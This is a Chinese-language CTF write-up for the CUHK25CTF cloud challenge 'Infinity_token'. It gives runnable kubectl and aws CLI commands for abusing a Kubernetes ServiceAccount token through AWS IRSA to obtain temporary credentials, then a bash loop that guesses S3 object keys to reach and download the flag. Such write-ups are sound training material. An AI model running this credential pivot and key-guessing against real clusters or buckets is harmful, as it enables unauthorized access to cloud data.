[Cloud] CUHK25CTF Infinity_token

👁 0 views
📅 2026-4-25 ⏱ 3 min 🏆 CUHK25CTF

0x00 题目背景与分析

本题出现在约 500 队规模的赛事中,最终仅有 不到 10 队成功解出,属于高难度云安全方向的 CTF 题目。核心攻击链涉及 Kubernetes ServiceAccount Token 的滥用,结合 AWS IRSA(IAM Roles for Service Accounts)机制进行横向渗透,最终在 S3 Bucket 中定位并读取 Flag 文件。

选手获得一个 kubeconfig 文件以及部分 AWS 相关的上下文信息,需要通过 kubectl 创建 token、调用 aws sts assume-role-with-web-identity 换取临时凭证,再利用 s3api head-object 探测 S3 对象并下载 Flag。

0x01 Kubernetes Token 生成

首先使用题目提供的 kubeconfig 文件,为 ServiceAccount nakime 创建一个 JWT Token,并指定 audiencests.amazonaws.com。这是触发 AWS IRSA 流程的关键——Token 的 audience 必须与 AWS OIDC Provider 配置匹配。

kubectl --kubeconfig=kubeconfig.yaml \
                      --insecure-skip-tls-verify=true \
                      -n infinity-castle \
                      create token nakime \
                      --audiences=sts.amazonaws.com \
                      > /tmp/nakime-token-aud-sts.jwt

成功执行后,/tmp/nakime-token-aud-sts.jwt 文件被写入。Token 的 payload 中包含关键字段:

{
                      "aud": ["sts.amazonaws.com"],
                      "iss": "https://oidc.eks.us-east-1.amazonaws.com/id/2217560D8A76DCD08A204B66621B75E4",
                      "kubernetes.io": {
                        "namespace": "infinity-castle",
                        "serviceaccount": {
                          "name": "nakime",
                          "uid": "e65abc20-d6d8-4fa7-9334-841c386328de"
                        }
                      },
                      "sub": "system:serviceaccount:infinity-castle:nakime"
                    }

确认 aud 字段包含 sts.amazonaws.com 后,即可进行下一步的 STS AssumeRole 调用。

0x02 AWS STS AssumeRoleWithWebIdentity

使用上一步生成的 JWT Token,调用 aws sts assume-role-with-web-identity 换取 AWS 临时凭证。目标角色 ARN 为:

arn:aws:iam::946313059530:role/ds-k8s-infinity-irsa-infinity-castle

完整命令如下:

aws sts assume-role-with-web-identity \
                      --role-arn arn:aws:iam::946313059530:role/ds-k8s-infinity-irsa-infinity-castle \
                      --role-session-name ctf-session \
                      --web-identity-token file:///tmp/nakime-token-aud-sts.jwt \
                      --duration-seconds 900 \
                      > /tmp/nakime_creds.json

返回的 JSON 包含 AccessKeyIdSecretAccessKeySessionToken,有效期 15 分钟。导出到环境变量:

export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' /tmp/nakime_creds.json)
                    export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' /tmp/nakime_creds.json)
                    export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' /tmp/nakime_creds.json)

0x03 S3 Bucket 探测策略

目标 Bucket 名称为:

ds-k8s-infinity-flag-1757980242-f93750

由于不具备 s3:ListBucket 权限,无法直接列出所有对象,因此采用 head-object 逐个探测的策略。这种方式的优势:

① 速度快——仅发送 HEAD 请求,不传输数据
② 隐蔽性好——不会触发大量数据传输告警
③ 错误可区分——NoSuchKey(不存在)vs AccessDenied(无权限)可分别处理

候选 Key 列表基于常见命名模式构建,并结合 Bucket 名称中的时间戳/随机后缀进行推测:

CANDIDATES="flag flag.txt cuhk25ctf.txt flag.json flag.yaml flag.yml \
                      secret.txt README.txt index.html flag.zip flag.gz \
                      flag-1757980242-f93750 flag-1757980242-f93750.txt \
                      ds-k8s-infinity-flag-1757980242-f93750.txt"

0x04 自动化探测与下载脚本

将整个流程整合为一个 Bash 脚本,实现:凭证导出 → 候选探测 → 命中下载 → 安全预览的完整自动化。核心探测循环如下:

for key in $CANDIDATES; do
                      echo "---- probe -> $key ----"
                      if aws s3api head-object \
                        --bucket "$BUCKET" \
                        --key "$key" >/dev/null 2>&1; then
                        echo "[FOUND] $key"
                        aws s3 cp "s3://${BUCKET}/${key}" /tmp/flag_found/
                        cat -v /tmp/flag_found/"$key" | sed -n '1,200p'
                        exit 0
                      fi
                    done

脚本执行后,在 第二个候选 flag.txt 处成功命中:

---- probe -> flag ----
                    ---- probe -> flag.txt ----
                    [FOUND] flag.txt
                    download: s3://ds-k8s-infinity-flag-1757980242-f93750/flag.txt
                      to ../../../../../../../tmp/flag_found/flag.txt
                    [SAVED] /tmp/flag_found/flag.txt
                    ---- 文件类型 ----
                    /tmp/flag_found/flag.txt: ASCII text

0x05 完整攻击链总结

整条攻击链可概括为以下步骤:

┌─────────────────────────────────────────────────────────┐
                    │ 1. kubectl create token (audience=sts.amazonaws.com)  │
                    │         ↓ JWT Token → /tmp/nakime-token-aud-sts.jwt    │
                    │ 2. aws sts assume-role-with-web-identity               │
                    │         ↓ Temp Creds → /tmp/nakime_creds.json           │
                    │ 3. Export AWS_ACCESS_KEY_ID / SECRET / SESSION_TOKEN   │
                    │ 4. s3api head-object (候选探测, 非ListBucket)          │
                    │         ↓ 命中 flag.txt                                │
                    │ 5. s3 cp → /tmp/flag_found/flag.txt                    │
                    │ 6. cat → cuhk25ctf{n4k1m3_b1w4_01dc_w4rp_g4t3}        │
                    └─────────────────────────────────────────────────────────┘

0x06 关键技术点

🔑 IRSA (IAM Roles for Service Accounts):AWS EKS 中用于将 Kubernetes ServiceAccount 映射到 IAM Role 的机制。关键在于 OIDC Provider 的信任关系配置,允许持有特定 audience Token 的主体进行 AssumeRole。

🔍 head-object vs list-objects:当 S3 Bucket 仅授予 s3:GetObject 权限但未授予 s3:ListBucket 时,无法列出对象列表,但可以通过 猜测 Key 名称并使用 head-object 逐一验证对象是否存在。这在 CTF 中是常见的权限绕过技巧。

🛡️ cat -v 安全输出:使用 cat -v 将非打印字符可视化,防止 Flag 文件中可能嵌入的 ANSI 控制序列被执行或隐藏真实内容。

0x07 Flag

cuhk25ctf{n4k1m3_b1w4_01dc_w4rp_g4t3}